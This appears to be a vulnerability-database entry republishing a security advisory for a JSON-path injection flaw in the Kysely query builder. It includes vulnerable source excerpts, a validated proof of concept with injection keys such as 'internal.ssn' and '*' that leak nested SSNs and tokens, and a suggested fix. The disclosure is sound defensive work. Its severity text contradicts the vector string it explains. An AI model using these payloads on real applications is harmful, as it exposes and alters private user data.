Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N and PR:N as the app is reached remotely without auth, but AC:H because a non-default vulnerable data-flow pattern must exist; C:H for nested reads, I:L for path-controlled writes in update statements.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Kysely 0.28.12 added a sanitizeStringLiteral() call inside DefaultQueryCompiler.visitJSONPathLeg (commit 0a602bf, PR #1727) to fix CVE-2026-32763 (GHSA-wmrf-hv6w-mr66). The fix only doubles single quotes (' → ''); it does not escape JSON-path metacharacters (., [, ], *, **, ?). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) - including type-safe code where the JSON column is shaped like Record<string, T> so K extends string is the inferred type - every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL ->$/->>$, and SQLite.
- Project: Kysely - TypeScript SQL query builder (npm
kysely); affects MySQL, PostgreSQL->$/->>$, and SQLite dialects. - Source reviewed:
kysely-org/kysely@master(73192e4, version0.28.16). - Deployed artefact validated:
kysely@0.28.16from npm. - Affected file(s):
src/query-compiler/default-query-compiler.ts(lines 1611-1639, 1821-1823)src/query-builder/json-path-builder.ts(lines 93-196)src/dialect/mysql/mysql-query-compiler.ts(overridessanitizeStringLiteralbut inherits the same behaviour for path legs - escapes\and', nothing else)- CWE: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.
- OWASP 2021: A03:2021 - Injection.
Vulnerable code
src/query-compiler/default-query-compiler.ts:1625-1639:
protected override visitJSONPathLeg(node: JSONPathLegNode): void {
const isArrayLocation = node.type === 'ArrayLocation'
this.append(isArrayLocation ? '[' : '.') // (1)
this.append(
typeof node.value === 'string'
? this.sanitizeStringLiteral(node.value) // (2)
: String(node.value),
)
if (isArrayLocation) {
this.append(']')
}
}src/query-compiler/default-query-compiler.ts:1821-1823:
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''") // (3)
}with LIT_WRAP_REGEX = /'/g.
src/query-builder/json-path-builder.ts:151-167:
key<
K extends any[] extends O
? never
: O extends object
? keyof NonNullable<O> & string
: never,
O2 = undefined extends O
? null | NonNullable<NonNullable<O>[K]>
: null extends O
? null | NonNullable<NonNullable<O>[K]>
: // when the object has non-specific keys, e.g. Record<string, T>, should infer `T | null`!
string extends keyof NonNullable<O>
? null | NonNullable<NonNullable<O>[K]>
: NonNullable<O>[K],
>(key: K): TraversedJSONPathBuilder<S, O2> {
return this.#createBuilderWithPathLeg('Member', key) // (4)
}src/query-builder/json-path-builder.ts:169-196:
#createBuilderWithPathLeg(
legType: JSONPathLegType,
value: string | number, // (5)
): TraversedJSONPathBuilder<any, any> {
// ...
return new TraversedJSONPathBuilder(
JSONPathNode.cloneWithLeg(
this.#node,
JSONPathLegNode.create(legType, value), // (6)
),
)
}At (1) the compiler emits the path-leg separator - . for member access or [ for array index. At (2) the user-supplied string is run through sanitizeStringLiteral, which at (3) only doubles single quotes ('). Dots, brackets, asterisks, double-asterisks and question marks - every reserved character of the SQL/JSON path mini-language - pass through unmodified.
At (4) .key(K) types K as keyof NonNullable<O> & string. When the JSON column is typed as Record<string, T> (a common shape for free-form metadata blobs) the inferred K is just string, so attacker-controlled input is type-safe and does not need a Kysely<any> escape hatch - this finding is *broader* than GHSA-wmrf-hv6w-mr66 (CVE-2026-32763), which only covered the Kysely<any> case. At (5)/(6) the runtime accepts any string | number regardless of legType, so a string sent into .at(...) ('last'/'#-N' per the public type signature) also reaches the same emitter and can carry ] to break out of the bracket.
The fix at 0a602bf only addressed the single-quote → string-literal escape. The JSON-path metacharacter set was overlooked.
MysqlQueryCompiler.sanitizeStringLiteral (src/dialect/mysql/mysql-query-compiler.ts:47-51) overrides the helper to also escape backslashes - but again, it does nothing for . [ ] * ** ?.
Reproduction (validated locally)
Environment: kysely@0.28.16 + better-sqlite3@12.x, Node 22, on macOS. The PoC harness lives in /Users/admin/joplin_research/kysely-poc/.
Step 1 - Compiled-SQL evidence across all three dialects
/Users/admin/joplin_research/kysely-poc/poc.mjs (no DB, just .compile()):
$ node poc.mjs
===== MySQL =====
--- baseline: .key("nick") ---
SQL: select `profile`->'$.nick' as `out` from `person`
--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL: select `profile`->'$.nick.secret_field' as `out` from `person`
--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL: select `profile`->'$.*' as `out` from `person`
--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL: select `profile`->'$[].secret]' as `out` from `person`
===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====
--- baseline: .key("nick") ---
SQL: select "profile"->'$.nick' as "out" from "person"
--- INJECTION via .key(ATTACKER) ---
SQL: select "profile"->'$.nick.secret_field' as "out" from "person"
===== SQLite =====
--- baseline: .key("nick") ---
SQL: select "profile"->>'$.nick' as "value" from "person"
--- INJECTION via .key(ATTACKER) ---
SQL: select "profile"->>'$.nick.secret_field' as "out" from "person"
--- INJECTION via .key("*") ---
SQL: select "profile"->>'$.*' as "out" from "person"The compiled SQL clearly shows the dot inside the user-supplied "key" being interpreted by the database as a path separator: '$.nick' (one leg) becomes '$.nick.secret_field' (two legs). MySQL additionally accepts * as a wildcard reaching every member at the current level.
Step 2 - End-to-end data disclosure on a real database
/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs simulates a typical handler that reads one top-level field of the caller's profile:
async function fetchProfileField(userInput) {
return db.selectFrom('me')
.select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
.where('id', '=', 1)
.execute()
}The me.profile JSON column for user 1 is:
{
"nick": "alice",
"tagline": "hi",
"internal": {
"ssn": "111-11-1111",
"token": "tok_abcdef",
"admin": true
}
}The developer's intent: only top-level keys (nick, tagline) are ever requested. internal is private bookkeeping.
$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
compiled SQL: select "profile"->>'$.nick' as "value" from "me" where "id" = ?
result: [ { value: 'alice' } ]
===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
compiled SQL: select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
result: [ { value: '111-11-1111' } ]
userInput = "internal.token"
compiled SQL: select "profile"->>'$.internal.token' as "value" from "me" where "id" = ?
result: [ { value: 'tok_abcdef' } ]
userInput = "internal.admin"
compiled SQL: select "profile"->>'$.internal.admin' as "value" from "me" where "id" = ?
result: [ { value: 1 } ]Expected vs. actual: the application invariant was "the user can only read top-level keys of their profile". The output violates that invariant - internal.ssn, internal.token, and internal.admin are returned even though internal was never meant to be addressable through this endpoint.
The same pattern is exploitable on MySQL (where * and ** wildcards make it strictly worse - a single * enumerates every sibling at the current level in one row) and on PostgreSQL when using the ->$/->>$ operators (which target MySQL-style JSON-path strings on PG ≥ 17 / via jsonb_path_query).
Impact
- Authorization bypass on JSON sub-fields. Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled - even in fully type-safe code where the column type is
Record<string, T>- leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable. - Wildcard reads on MySQL / PostgreSQL
->$.key('*')compiles to'$.*', returning the array of every value at the current depth in one round-trip.key('**')recurses across the whole document. The fix does not strip either token. - Write access in update statements. Kysely uses the same path compiler for
update().set(eb => eb.ref(col, '->$').key(input), value)-style writes (andjsonb_sethelpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set - for example flipping anadminflag or rewriting a nested role. - Bypasses the recently-fixed precedent. The maintainers shipped commit
0a602bf(PR #1727) specifically to harden this surface. That fix removed the'(quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that *thought* it was now safe. - Practical bounding. The attacker needs a code path where a request-derived string lands in
.key(...)or.at(...). This is a recognised pattern (filter-by-field, dynamicselectfor admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writesdb as Kysely<any>(covered by the olderGHSA-wmrf-hv6w-mr66advisory) - but unlike that advisory, the bug here triggers in fully-typed code onRecord<string, T>columns.
Suggested fix
Treat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated sanitizeJSONPathLeg that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows "…"-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL jsonpath is strict).
// src/query-compiler/default-query-compiler.ts
const JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/
protected override visitJSONPathLeg(node: JSONPathLegNode): void {
if (node.type === 'ArrayLocation') {
this.append('[')
if (typeof node.value === 'number') {
this.append(String(node.value | 0)) // int-coerce
} else if (node.value === 'last' || /^#-\d+$/.test(node.value)) {
this.append(node.value) // documented dialect tokens
} else {
throw new Error(`invalid JSON array index: ${node.value}`)
}
this.append(']')
return
}
// Member
this.append('.')
if (typeof node.value !== 'string' || !JSON_PATH_MEMBER_OK.test(node.value)) {
// Per-dialect quoted-member escape would go here; default = reject.
throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)
}
this.append(node.value)
}For dialect-specific behaviour (MySQL "…"-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way sanitizeIdentifier already does.
Consider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL jsonb_path_query($1, $2), MySQL JSON_EXTRACT(?, ?)), so attacker-controlled keys are bound, not concatenated. Add a regression test to test/node/src/json-traversal.test.ts asserting that eb.ref('c','->$').key('a.b').compile().sql is either rejected, or emits MySQL '$."a.b"' / SQLite '$.["a.b"]' (quoted-member form), and explicitly differs from key('a').key('b').
A backstop hardening: tighten the .at() runtime to accept only number | 'last' | '#-${digits}' (matching the type signature), and tighten .key() to only accept strings that match keyof O at runtime when O is statically known.
AnalysisAI
JSON-path traversal injection in Kysely (npm kysely, versions >= 0.26.0 and < 0.28.17) lets attacker-controlled input passed to JSONPathBuilder.key() or .at() break out of the intended JSON key and reach sibling/child fields, because the path-leg sanitizer only doubles single quotes and leaves JSON-path metacharacters (. [ ] * ** ?) unescaped. Affected apps expose read access to nested JSON sub-fields (SSNs, tokens, admin flags) and, in update statements, write access, across MySQL, PostgreSQL ->$/->>$, and SQLite dialects. No KEV listing and EPSS is very low (0.05%), but publicly available exploit code exists in the GHSA advisory with validated end-to-end data disclosure on SQLite.
Technical ContextAI
Kysely is a widely used TypeScript SQL query builder. The flaw sits in DefaultQueryCompiler.visitJSONPathLeg (src/query-compiler/default-query-compiler.ts), which emits a JSON-path leg by concatenating a separator (. for members, [/] for array indices) with the user value run through sanitizeStringLiteral. That helper (LIT_WRAP_REGEX = /'/g) only doubles the single-quote that wraps the SQL string literal; it does not neutralize the reserved characters of the JSON-path mini-language. As a result a value like internal.ssn supplied to .key() is compiled as two path legs ('$.internal.ssn') instead of a single quoted member. The MySQL compiler override additionally escapes backslashes but still ignores path metacharacters, and on MySQL/PostgreSQL the * and ** wildcards enable single-round-trip enumeration or full-document recursion. NVD classifies this as CWE-22 (Path Traversal), while the vendor advisory frames it more precisely as CWE-89 (SQL injection) with CWE-915/CWE-1284 (improper input validation of the JSON-path sub-grammar); the JSON-path 'traversal' framing and the injection framing describe the same root cause. Notably the type system does not protect callers: when the JSON column is typed Record<string, T>, the inferred key type collapses to string, so the sink is reachable in fully type-safe code, not only via a Kysely<any> escape hatch - making this broader than the prior CVE-2026-32763 (GHSA-wmrf-hv6w-mr66) it supersedes.
RemediationAI
Vendor-released patch: upgrade kysely to 0.28.17 or later, which further hardens .key() and .at() against path-leg injection (PR #1804); see https://github.com/kysely-org/kysely/releases/tag/v0.28.17 and the advisory https://github.com/kysely-org/kysely/security/advisories/GHSA-pv5w-4p9q-p3v2 . If you cannot upgrade immediately, stop passing any request-derived string into eb.ref(col, '->$').key(input) / .at(input); instead validate the input against an explicit allowlist of expected top-level keys before it reaches the builder (trade-off: requires touching each call site but fully closes the vector), and reject any value containing . [ ] * ? # or coerce array indices to integers. For dynamic-field endpoints, prefer parameterized extraction (JSON_EXTRACT(?, ?) on MySQL, jsonb_path_query($1,$2) on PostgreSQL) so the key is bound rather than concatenated. As a defensive backstop, avoid storing secrets (tokens, SSNs, admin flags) in the same JSON document as user-addressable fields, since that co-location is what makes traversal impactful.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32623
GHSA-pv5w-4p9q-p3v2